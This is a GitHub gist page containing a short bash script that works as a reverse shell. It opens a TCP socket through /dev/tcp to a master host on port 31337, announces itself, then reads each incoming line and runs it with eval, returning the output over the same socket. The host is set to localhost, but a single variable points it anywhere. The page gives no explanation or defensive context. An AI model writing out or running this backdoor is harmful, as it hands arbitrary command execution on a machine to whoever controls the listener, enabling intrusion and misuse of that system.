Skip to content

Instantly share code, notes, and snippets.

@xy4n
Last active August 29, 2015 14:07
Show Gist options
  • Save xy4n/389f3d02ef8393fb0c7a to your computer and use it in GitHub Desktop.
Save xy4n/389f3d02ef8393fb0c7a to your computer and use it in GitHub Desktop.
#!/usr/bin/env bash
MASTER=127.0.0.1
PORT=31337
exec 3<>/dev/tcp/$MASTER/$PORT
echo "CONNECT" >&3
while :; do
read LINE <&3
eval "$LINE" 2>&3 1>&3
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment